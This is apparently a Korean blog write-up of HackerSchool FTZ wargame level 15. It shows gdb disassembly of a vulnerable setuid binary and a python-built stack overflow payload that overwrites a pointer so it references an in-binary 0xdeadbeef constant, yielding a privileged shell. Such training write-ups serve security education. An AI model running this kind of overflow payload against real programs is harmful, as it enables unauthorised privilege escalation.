-
lvl 15Wargame/HackerSchool FTZ 2019. 1. 23. 09:34
→ 힌트 정보 확인.
→ 14번 문제와 동일한 것 같지만, 분기문에서 check가 포인터임을 알 수 있다.
→ 즉, check 변수에 0xdeadbeef를 입력하는게 아니고, check 변수에 저장하는 값이 가리키는 메모리 주소에 0xdeadbeef를 넣어야 한다.
→ gdb로 디버깅.
[level15@ftz tmp]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>: push ebp
0x080483b9 <main+1>: mov ebp,esp
0x080483bb <main+3>: sub esp,0x38
0x080483be <main+6>: and esp,0xfffffff0
0x080483c1 <main+9>: mov eax,0x0
0x080483c6 <main+14>: sub esp,eax
0x080483c8 <main+16>: sub esp,0x4
0x080483cb <main+19>: push ds:0x80495d4
0x080483d1 <main+25>: push 0x2d
0x080483d3 <main+27>: lea eax,[ebp-56]
0x080483d6 <main+30>: push eax
0x080483d7 <main+31>: call 0x80482d8 <fgets>
0x080483dc <main+36>: add esp,0x10
0x080483df <main+39>: mov eax,DWORD PTR [ebp-16]
0x080483e2 <main+42>: cmp DWORD PTR [eax],0xdeadbeef
0x080483e8 <main+48>: jne 0x804840f <main+87>
0x080483ea <main+50>: sub esp,0x8
0x080483ed <main+53>: push 0xc18
0x080483f2 <main+58>: push 0xc18
0x080483f7 <main+63>: call 0x80482f8 <setreuid>
0x080483fc <main+68>: add esp,0x10
0x080483ff <main+71>: sub esp,0xc
0x08048402 <main+74>: push 0x80484c0
0x08048407 <main+79>: call 0x80482c8 <system>
0x0804840c <main+84>: add esp,0x10
0x0804840f <main+87>: leave
0x08048410 <main+88>: ret
0x08048411 <main+89>: nop
0x08048412 <main+90>: nop
0x08048413 <main+91>: nop
End of assembler dump.
→ 14번 문제와 동일하며, ebp-16에다가 바로 0xdeadbeef로 덮는게 아니고, 0xdeadbeef 값이 저장되어 있는 주소 값을 페이로드에 넣으면 가능하다.
→ 메모리 맵은 14번 문제와 동일하다.
→ 원 소스 코드에 이미 0xdeadbeef 문자열이 있으므로 주소 값을 구한다.
(gdb) x/16x main
0x80483b8 <main>: 0x83e58955 0xe48338ec 0x0000b8f0 0xc4290000
0x80483c8 <main+16>: 0xff04ec83 0x0495d435 0x8d2d6a08 0xe850c845
0x80483d8 <main+32>: 0xfffffefc 0x8b10c483 0x3881f045 0xdeadbeef
0x80483e8 <main+48>: 0xec832575 0x0c186808 0x18680000 0xe800000c
(gdb) x/4x 0x80483e4
0x80483e4 <main+44>: 0xdeadbeef 0xec832575 0x0c186808 0x18680000
(gdb) x/x 0x80483e4
0x80483e4 <main+44>: 0xdeadbeef
→ 따라서, 페이로드를 아래와 같이 구성한다.
(python -c 'print "\x90"*40+"\xe4\x83\x04\x08"';cat)|./attackme
→ 시도한 결과, 실패했다. 알고보니 이건 내가 새로 만든 바이너리이므로, 0xdeadbeef 가 들어있는 주소 값이 원본 바이너리랑 상이하다. 그래서 원본 바이너리의 주소 값을 새로 구하였다.
[level15@ftz level15]$ gdb -q attackme
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10
0x080484ad <main+29>: mov eax,DWORD PTR [ebp-16]
0x080484b0 <main+32>: cmp DWORD PTR [eax],0xdeadbeef
0x080484b6 <main+38>: jne 0x80484dd <main+77>
0x080484b8 <main+40>: sub esp,0x8
0x080484bb <main+43>: push 0xc18
0x080484c0 <main+48>: push 0xc18
0x080484c5 <main+53>: call 0x8048380 <setreuid>
0x080484ca <main+58>: add esp,0x10
0x080484cd <main+61>: sub esp,0xc
0x080484d0 <main+64>: push 0x8048548
0x080484d5 <main+69>: call 0x8048340 <system>
0x080484da <main+74>: add esp,0x10
0x080484dd <main+77>: leave
0x080484de <main+78>: ret
0x080484df <main+79>: nop
End of assembler dump.
(gdb) x/x 0x080484b2
0x80484b2 <main+34>: 0xdeadbeef
→ 새로구한 주소값으로 페이로드를 재구성한다.
(python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat)|./attackme
댓글